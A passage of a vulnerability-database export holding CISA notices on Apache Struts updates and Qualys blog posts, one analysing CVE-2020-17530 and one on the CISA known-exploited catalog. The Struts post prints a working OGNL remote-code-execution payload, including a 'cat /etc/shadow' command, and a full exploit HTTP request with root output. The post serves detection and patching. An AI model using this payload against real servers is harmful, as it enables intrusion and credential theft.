"vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cisa": [{"lastseen": "2021-02-24T18:06:33", "description": "The Apache Software Foundation has released a security update to address a vulnerability in Apache Struts versions 2.0.0 to 2.5.25. A remote attacker could exploit this vulnerability to take control of an affected system.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review Apache Security Bulletin [S2-061](<https://cwiki.apache.org/confluence/display/WW/S2-061>) and Apache security advisory for [CVE-2020-17530](<http://mail-archives.us.apache.org/mod_mbox/www-announce/202012.mbox/%3CCAMopvkO3Bba_4GQ-%3D8jngryMSxDkzo2JbrCrCApEt1aQ4fRCQw%40mail.gmail.com%3E>) and apply the necessary update or workaround.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/12/08/apache-releases-security-update-apache-struts-2>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-12-08T00:00:00", "type": "cisa", "title": "Apache Releases Security Update for Apache Struts 2", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2020-12-08T00:00:00", "id": "CISA:C17258C519A149D638B0BCF35898ABEE", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/12/08/apache-releases-security-update-apache-struts-2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-02-24T18:06:45", "description": "The Apache Software Foundation has released a security advisory to address vulnerabilities in Struts in the version range 2.0.0\u20142.5.20. An attacker could exploit one of these vulnerabilities to take control of an affected system. The current version, Struts 2.5.22, is not affected.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review Apache\u2019s security advisory for [CVE-2019-0230 and CVE-2019-0233](<http://mail-archives.us.apache.org/mod_mbox/www-announce/202008.mbox/%3C66006167-999e-a1e5-4a3a-5f1c75a1e8a2%40apache.org%3E>) and upgrade to the appropriate version.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/08/14/apache-releases-security-advisory-struts-2>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-08-14T00:00:00", "type": "cisa", "title": "Apache Releases Security Advisory for Struts 2", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0230", "CVE-2019-0233"], "modified": "2020-08-14T00:00:00", "id": "CISA:3D9E69A26C68866B64ED6E4B31E270E6", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/08/14/apache-releases-security-advisory-struts-2", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "qualysblog": [{"lastseen": "2021-09-21T15:04:33", "description": "A vulnerability (CVE-2020-17530) discovered last year in the Object Graph Navigation Language (OGNL) evaluation function of Apache Struts versions 2.0.0 \u2013 2.5.25 can be exploited by attackers to perform remote code execution. This RCE vulnerability doesn\u2019t come packaged with Apache struts but is dependent on how the web application is configured, so a simple Apache version check cannot identify vulnerable systems.\n\n[Qualys Web Application Scanning](<https://www.qualys.com/apps/web-app-scanning/>) has added a new QID to detect this vulnerability that sends a request to the target server to determine if it is exploitable. Once detected, the vulnerability can be remediated by upgrading to Apache Struts 2.5.26 or greater, which checks if expression evaluation won't lead to the double evaluation to prevent exploitation. Qualys also advises to avoid using forced OGNL evaluation on untrusted user input.\n\n### About CVE-2020-17530\n\nApache Struts 2 is a well-known open-source web application framework for developing Java EE web applications that is widely targeted by hackers.\n\nAccording to CVE-2020-17530, Struts versions 2.0.0 - 2.2.25 are vulnerable to this exploit.\n\nThis vulnerability occurs when Apache Struts framework is forced to perform double evaluation of attributes assigned to some tag\u2019s attributes such as `id` if a developer has configured the application to perform forced OGNL evaluation using `%{..}` syntax.\n\nDouble evaluation is when an expression string gets evaluated as code, and then, if the result is another string, it gets evaluated as code again, the `%{..}` syntax indicates the content inside it should be treated as an OGNL expression.\n\n#### Example:\n \n \n <s: hidden name id=\"%{name}\"/>\n\nWhen a user passes a value `name=%{2*2}` the input is treated as OGNL script and is evaluated again generating output id="4\u2033, resulting in RCE.\n\nHence the user input value ends up getting evaluated twice when the tag\u2019s attributes are rendered.\n\n### Exploit Analysis\n\nBefore going forward with the exploitation, let\u2019s break the exploit to understand its core concept.\n\nFirst let\u2019s see what is [OGNL](<https://struts.apache.org/tag-developers/ognl>)? Object-Graph Navigation Language (OGNL) is an open-source Expression Language for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes.\n\nBeing able to create properties and change the code execution, it\u2019s prone to critical security flaws.\n\nWhile S2-061 exploit is basically a bypass of S2-059 sandbox environment, The sandbox restrictions imposed by OGNL enforces the validation of accessing packages, classes, and their normally private or protected methods/fields.\n\nThese private class and methods can be accessed and modified by creating a BeanMap instance.\n\n### RCE Code Analysis:\n \n \n %{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"cat /etc/shadow\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}\n \n\nApache Struts 2 contains internal security manager which blocks access to particular classes and Java packages - it\u2019s an OGNL-wide mechanism which means it affects any aspect of the [framework](<https://struts.apache.org/security/>).\n\nBelow are the three options that can be used to configure excluded packages and classes\n\n * struts.excludedClasses\n * struts.excludedPackageNamePatterns\n * struts.excludedPackageNames\n\nAnalyzing the first part of the exploit code we understand a [BeanMap](<https://commons.apache.org/proper/commons-beanutils/apidocs/org/apache/commons/beanutils/BeanMap.html>) instance is created and its `setBean` and `put` functions is used to set security mechanism options `excludedClasses` and `excludedPackageNames` to empty, these options contain the set of excluded classes and package names, thus nullifying the sandbox restrictions as every class and package access restrictions are now disabled.\n\nNow that the OGNL restrictions are completely disabled, In the later part of the code we can see code execution is achieved by using disallowed class `Execute` from [`freemarker.template.utility`](<https://freemarker.apache.org/docs/api/freemarker/template/utility/package-summary.html>) package, this `Execute` class allows `FreeMarker` the ability to execute external commands using `exec()` method.\n\n### Exploitation\n\nAttackers can execute system commands by sending the specially crafted HTTP request containing the OGNL payload to the target server like below:\n\nRequest:\n \n \n POST /index.action HTTP/1.1\n Host: 127.0.0.1:8080\n User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\n Accept-Encoding: gzip, deflate\n Connection: close\n Content-Type: application/x-www-form-urlencoded\n Content-Length: 775\n \n id=%25{(%23instancemanager%3d%23application[\"org.apache.tomcat.InstanceManager\"]).(%23stack%3d%23attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(%23bean%3d%23instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(%23bean.setBean(%23stack)).(%23context%3d%23bean.get(\"context\")).(%23bean.setBean(%23context)).(%23macc%3d%23bean.get(\"memberAccess\")).(%23bean.setBean(%23macc)).(%23emptyset%3d%23instancemanager.newInstance(\"java.util.HashSet\")).(%23bean.put(\"excludedClasses\",%23emptyset)).(%23bean.put(\"excludedPackageNames\",%23emptyset)).(%23arglist%3d%23instancemanager.newInstance(\"java.util.ArrayList\")).(%23arglist.add(\"id\")).(%23execute%3d%23instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(%23execute.exec(%23arglist))}\n\nResponse:\n \n \n HTTP/1.1 200 OK\n Connection: close\n Date: Tue, 24 Aug 2021 13:02:26 GMT\n Content-Language: en\n Content-Type: text/html;charset=utf-8\n Set-Cookie: JSESSIONID=node011cf0u95rdhdp1xsd64hecky246.node0; Path=/\n Expires: Thu, 01 Jan 1970 00:00:00 GMT\n Content-Length: 974\n Server: Jetty(9.4.31.v20200723)\n \n \n <html>\n <head>\n <title>S2-059 demo</title>\n </head>\n <body>\n <a id=\"uid=0(root) gid=0(root) groups=0(root)\" href=\"/index.action;jsessionid=node011cf0u95rdhdp1xsd64hecky246.node0\">\n your input id: %{(#instancemanager=#application[\"org.apache.tomcat.InstanceManager\"]).(#stack=#attr[\"com.opensymphony.xwork2.util.ValueStack.ValueStack\"]).(#bean=#instancemanager.newInstance(\"org.apache.commons.collections.BeanMap\")).(#bean.setBean(#stack)).(#context=#bean.get(\"context\")).(#bean.setBean(#context)).(#macc=#bean.get(\"memberAccess\")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(\"java.util.HashSet\")).(#bean.put(\"excludedClasses\",#emptyset)).(#bean.put(\"excludedPackageNames\",#emptyset)).(#arglist=#instancemanager.newInstance(\"java.util.ArrayList\")).(#arglist.add(\"id\")).(#execute=#instancemanager.newInstance(\"freemarker.template.utility.Execute\")).(#execute.exec(#arglist))}\n has ben evaluated again in id attribute\n </a>\n </body>\n </html>\n\n### Detecting the Vulnerability with Qualys WAS\n\nCustomers can detect this vulnerability with Qualys Web Application Scanning using **QID 150354**. Since this vulnerability is application configuration dependent, the QID sends a POST/GET request to the target server with OGNL RCE payload to confirm if the target is exploitable.\n\n\n\n### Report\n\nOnce the vulnerability is successfully detected by Qualys WAS, users shall see similar kind of results in the vulnerability scan report:\n\n\n\n### Solution\n\nAlthough this RCE vulnerability was discovered late last year, it\u2019s been seen in the wild and multiple exploit scripts are still being released.\n\nHence, we highly recommend upgrading to Apache Struts 2.5.26 or greater.\n\n### Credits\n\nApache Struts announcement was released on December 08, 2020: <https://struts.apache.org/announce-2020#a20201208>\n\nApache Security Bulletin:\n\n * <https://cwiki.apache.org/confluence/display/WW/S2-061>\n\nCVE details:\n\n * <https://nvd.nist.gov/vuln/detail/CVE-2020-17530>\n * <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530>\n\nCredits for the vulnerability discovery goes to:\n\n * Alvaro Munoz - pwntester at github dot com\n * Masato Anzai of Aeye Security Lab, inc\n\nReferences:\n\n * <https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/>\n * <https://struts.apache.org/security/#do-not-use-incoming-untrusted-user-input-in-forced-expression-evaluation>\n * <https://securitylab.github.com/research/apache-struts-double-evaluation/>\n * <https://www.rapid7.com/db/modules/exploit/multi/http/struts2_multi_eval_ognl/>\n * <https://github.com/ka1n4t/CVE-2020-17530>\n\n### Contributors\n\n * **Sheela Sarva**, Director, Quality Engineering, Web Application Security, Qualys\n * **Ed Arnold**, Security Solutions Architect, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-21T14:40:00", "type": "qualysblog", "title": "Apache Struts 2 Double OGNL Evaluation Vulnerability (CVE-2020-17530)", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-17530"], "modified": "2021-09-21T14:40:00", "id": "QUALYSBLOG:FE0BAF7268104D525CC0A2ABC0471C4C", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", 